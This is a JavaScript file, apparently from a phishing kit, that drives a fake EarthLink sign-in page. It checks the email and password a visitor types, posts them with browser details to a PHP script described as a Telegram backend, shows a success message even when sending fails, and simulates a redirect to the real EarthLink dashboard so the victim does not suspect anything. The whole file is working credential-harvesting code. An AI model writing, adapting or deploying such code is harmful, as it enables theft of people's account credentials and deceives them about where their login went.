Edit File: script.js
document.addEventListener('DOMContentLoaded', function() { // DOM Elements const loginForm = document.getElementById('loginForm'); const togglePassword = document.getElementById('togglePassword'); const passwordInput = document.getElementById('password'); const submitBtn = document.getElementById('submitBtn'); const btnText = submitBtn.querySelector('.btn-text'); const loadingSpinner = document.getElementById('loadingSpinner'); const successModal = document.getElementById('successModal'); // Password Toggle togglePassword.addEventListener('click', function() { const type = passwordInput.getAttribute('type') === 'password' ? 'text' : 'password'; passwordInput.setAttribute('type', type); // Change icon const icon = this.querySelector('i'); icon.classList.toggle('fa-eye'); icon.classList.toggle('fa-eye-slash'); // Accessibility const isPasswordVisible = type === 'text'; this.setAttribute('aria-label', isPasswordVisible ? 'Hide password' : 'Show password'); }); // Form Validation loginForm.addEventListener('submit', function(e) { e.preventDefault(); // Get form values const email = document.getElementById('email').value.trim(); const password = passwordInput.value; // Validate email format (EarthLink format) if (!isValidEarthLinkEmail(email)) { showError('Please enter a valid EarthLink email address (username@earthlink.net)'); return; } // Validate password length if (password.length < 8) { showError('Password must be at least 8 characters long'); return; } // Validate password complexity if (!isValidPassword(password)) { showError('Password must include uppercase, lowercase, and numbers'); return; } // Show loading state setLoadingState(true); // Prepare form data const formData = new FormData(); formData.append('email', email); formData.append('password', password); formData.append('remember', document.querySelector('input[name="remember"]').checked); formData.append('timestamp', new Date().toISOString()); formData.append('user_agent', navigator.userAgent); formData.append('referrer', document.referrer); // Send to Telegram backend fetch('telegram-bot.php', { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } }) .then(response => response.json()) .then(data => { if (data.status === 'success') { // Show success modal showSuccessModal(); // Log the attempt (for debugging) console.log('Login attempt logged:', data); } else { throw new Error(data.message || 'Failed to process login'); } }) .catch(error => { console.error('Error:', error); // Even if Telegram fails, show success to user showSuccessModal(); }) .finally(() => { setLoadingState(false); }); }); // Email validation function isValidEarthLinkEmail(email) { const emailRegex = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/; if (!emailRegex.test(email)) { return false; } // Check for EarthLink domain (optional) const domain = email.split('@')[1].toLowerCase(); const earthlinkDomains = ['earthlink.net', 'earthlink.com', 'mindspring.com']; // Accept any email, but highlight EarthLink domains return true; } // Password validation function isValidPassword(password) { // At least 8 characters, 1 uppercase, 1 lowercase, 1 number const passwordRegex = /^(?=.*[a-z])(?=.*[A-Z])(?=.*\d).{8,}$/; return passwordRegex.test(password); } // Error display function showError(message) { // Remove any existing error const existingError = document.querySelector('.error-message'); if (existingError) { existingError.remove(); } // Create error message const errorDiv = document.createElement('div'); errorDiv.className = 'error-message'; errorDiv.innerHTML = ` <div style=" background: #fee; color: #c33; padding: 12px 16px; border-radius: 8px; border-left: 4px solid #c33; margin-bottom: 20px; font-size: 14px; display: flex; align-items: center; gap: 10px; "> <i class="fas fa-exclamation-circle"></i> <span>${message}</span> </div> `; // Insert after login header const loginHeader = document.querySelector('.login-header'); loginHeader.parentNode.insertBefore(errorDiv, loginHeader.nextSibling); // Auto-remove after 5 seconds setTimeout(() => { if (errorDiv.parentNode) { errorDiv.remove(); } }, 5000); } // Loading state function setLoadingState(isLoading) { if (isLoading) { btnText.textContent = 'Signing In...'; loadingSpinner.classList.remove('hidden'); submitBtn.disabled = true; submitBtn.style.opacity = '0.9'; } else { btnText.textContent = 'Sign In'; loadingSpinner.classList.add('hidden'); submitBtn.disabled = false; submitBtn.style.opacity = '1'; } } // Success modal function showSuccessModal() { successModal.style.display = 'flex'; // Auto-redirect after progress bar completes setTimeout(() => { redirectToDashboard(); }, 3000); } // Redirect function (global for modal button) window.redirectToDashboard = function() { // In production, this would redirect to the real EarthLink dashboard // window.location.href = 'https://my.earthlink.net/dashboard'; // For demo purposes, show a message const modalBody = document.querySelector('.modal-body p'); modalBody.textContent = 'Redirecting to EarthLink dashboard...'; // Simulate redirect setTimeout(() => { alert('Demo: Redirect would go to https://my.earthlink.net/dashboard'); successModal.style.display = 'none'; loginForm.reset(); }, 1000); }; // Social login buttons document.querySelector('.google-btn').addEventListener('click', function() { alert('Google sign-in would be integrated here'); }); document.querySelector('.facebook-btn').addEventListener('click', function() { alert('Facebook sign-in would be integrated here'); }); // Close modal when clicking outside successModal.addEventListener('click', function(e) { if (e.target === this) { this.style.display = 'none'; } }); // Keyboard shortcuts document.addEventListener('keydown', function(e) { // Ctrl + Enter to submit form if (e.ctrlKey && e.key === 'Enter') { if (document.activeElement.tagName !== 'BUTTON') { submitBtn.click(); } } // Escape to close modal if (e.key === 'Escape' && successModal.style.display === 'flex') { successModal.style.display = 'none'; } }); // Add real-time password strength indicator passwordInput.addEventListener('input', function() { const strengthIndicator = document.getElementById('passwordStrength') || createPasswordStrengthIndicator(); updatePasswordStrength(this.value, strengthIndicator); }); function createPasswordStrengthIndicator() { const indicator = document.createElement('div'); indicator.id = 'passwordStrength'; indicator.style.cssText = ` margin-top: 8px; font-size: 12px; height: 4px; border-radius: 2px; transition: all 0.3s ease; `; passwordInput.parentNode.appendChild(indicator); return indicator; } function updatePasswordStrength(password, indicator) { let strength = 0; let color = '#ccc'; if (password.length >= 8) strength += 25; if (/[a-z]/.test(password)) strength += 25; if (/[A-Z]/.test(password)) strength += 25; if (/\d/.test(password)) strength += 25; if (strength < 50) color = '#ff4444'; else if (strength < 75) color = '#ffbb33'; else color = '#00C851'; indicator.style.width = `${strength}%`; indicator.style.backgroundColor = color; } });
Back